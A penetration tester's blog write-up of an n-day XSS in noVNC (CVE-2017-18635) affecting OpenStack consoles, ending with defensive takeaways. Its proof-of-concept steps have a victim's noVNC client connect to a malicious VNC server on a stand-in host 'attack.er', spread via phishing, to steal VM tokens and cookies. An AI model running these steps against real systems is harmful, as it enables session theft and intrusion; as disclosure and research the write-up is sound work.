Exploiting an old noVNC XSS (CVE-2017-18635) in OpenStack

TL;DR: noVNC had a DOM-based XSS that allowed attackers to use a malicious VNC
server to inject JavaScript code inside the web page.
As OpenStack uses noVNC and its patching system doesn’t update third parties’ software, fully-updated OpenStack installations may still be vulnerable.

Introduction

Last week I was testing an OpenStack infrastructure during a Penetration Test.
OpenStack is a free and open-source software platform for cloud computing, where you can manage and deploy virtual servers and other resources.
OpenStack is a huge piece of software, made of many different “modules ”, as can be seen in the official Github repository.

First I started by launching a new instance with a random OS image to see how I could interact with it.
When you run a new VM on OpenStack you have two main ways to administer it: you can assign it to a network with a Public IP, open the required port(s) and use your favorite remote administration protocol (SSH, RDP, etc.) or you can use the OpenStack’s “Console” feature.

The “Console” feature uses noVNC, an HTML VNC client that let you see your VM screen over the internet directly in your browser. Nice!
I’ve used VNC clients many times before but never an HTML one so I was wondering how it worked and I landed on the noVNC github repository.
After a quick look at the websockify subrepo, the noVNC component that tunnels a TCP connection over websockets, I searched both repos for security issues.

Hunting for vulnerabilities

The Issue #748 immediately pop’d up, an XSS in noVNC that was patched in version 0.6.2 from January 2017.
The patch is very straightforward: s/innerHTML/textContent/g.

The particularity of this bug was that no CVE was assigned, no public exploit was available, GNU/Linux distributions didn’t published a security update for the noVNC package and OpenStack didn’t released a Security Notice for it,but it just updated the vulnerable component in new OpenStack’s installations (as the noVNC component is usually git-cloned during installation or installed from the distros’ repositories), leaving all previous one unpatched.
So I had a potential vulnerability, which existence I could check easily!

Your vulnerability has been confirmed

A simple CTRL+U on my target “Console” page and a CTRL+F allowed me to confirm it was vulnerable, yay!

Looking at the issue description we can see:

An XSS vulnerability was discovered in noVNC in which the remote VNC server could inject arbitrary HTML into the noVNC web page via the messages propagated to the status field, such as the VNC server name.

So I though it was just a matter of changing the VM’s name inside OpenStack to trigger the XSS.
Not so fast…
This would only result in a self-XSS and moreover OpenStack sanitizes the VM name.
¯\_(ツ)_/¯

OpenStack’s noVNC version comes in a single vnc_auto.html page, which is invoked with a token GET parameter. The aforementioned token is issued by OpenStack’s API and allows you to access a specific VM.

Theory is fine, but give me the exploit

Time to write the exploit to show our customer the impact of this vulnerability!
By looking at the source code, it turned out that you can specify along with the token parameter also the host and the port ones, which will tell the client the noVNC server it must connect to.
So I can now force the noVNC client hosted on the customer’s OpenStack domain to connect to an arbitrary noVNC server.

As stated before, reversing the patch is straightforward and we can notice that the status function in the vnc_auto.html file will use the status text as innerHTML every time there is a status change.
(https://github.com/novnc/noVNC/commit/6048299a138e078aed210f163111698c8c526a13#diff-22286f77c1852bf6a87298df3bfbb452L149)

In particular the status function is called with the server-name as input when connecting to an external noVNC server.
(https://github.com/novnc/noVNC/blob/41f476a86357f1404fcca078212c702599bbcc57/vnc_auto.html#L162)

With all these information in mind I wrote an evil “noVNC server” 😉 that starts the VNC handshake, sends as server-name a JavaScript payload, waits 30 seconds and finally closes the connection.
This will cause any vulnerable noVNC client which connects to it to execute the payload present inside the server-name parameter.

PoC || GTFO

To reproduce the vulnerability an attacker must:

  1. Install websockify (pip3 install websockify)
  2. Download (https://github.com/ShielderSec/cve-2017-18635) and run the evil VNC server (python3 cve-2017-18635.py &)
  3. Expose the VNC server through websockify (a valid SSL/TLS certificate is required if the target noVNC client is exposed via HTTPS) (python3 -m websockify --cert=cert.pem --key=key.pem 6080 127.0.0.1:5902)
  4. Craft the connection URL of the target’s noVNC client with the attacker’s server as host and port parameters (https://openstack.vict.im/vnc_auto.html?host=attack.er&port=6080)
  5. Send the link to the victim with your favorite 🎣 technique
  6. Profit by stealing the OpenStack’s VM tokens from the victim’s browser localStorage or by stealing the victim’s cookies

Takeaways

Writing n-day exploits is always fun and this time some considerations should be done:

  • As no CVE was assigned to the vulnerability I requested one (CVE-2017-18635), so it can be easily referenced.
  • No GNU/Linux distribution issued security updates at the time. This process is now slowly starting in LTS versions (https://lists.debian.org/debian-lts-announce/2019/10/msg00004.html). Update: RedHat released a backdated Security Advisory
  • The OpenStack’s patching system for third-party vulnerabilities is not that efficient, so if you’re running an OpenStack server make sure to read all their security notices and manually update third-party software.
  • ALWAYS SANITIZE USER-SUPPLIED INPUT!
4 min

Date

19 October 2019

Author

thezero

Security Researcher and Senior Penetration Tester at Shielder.
In the office I’m the one with the soldering iron.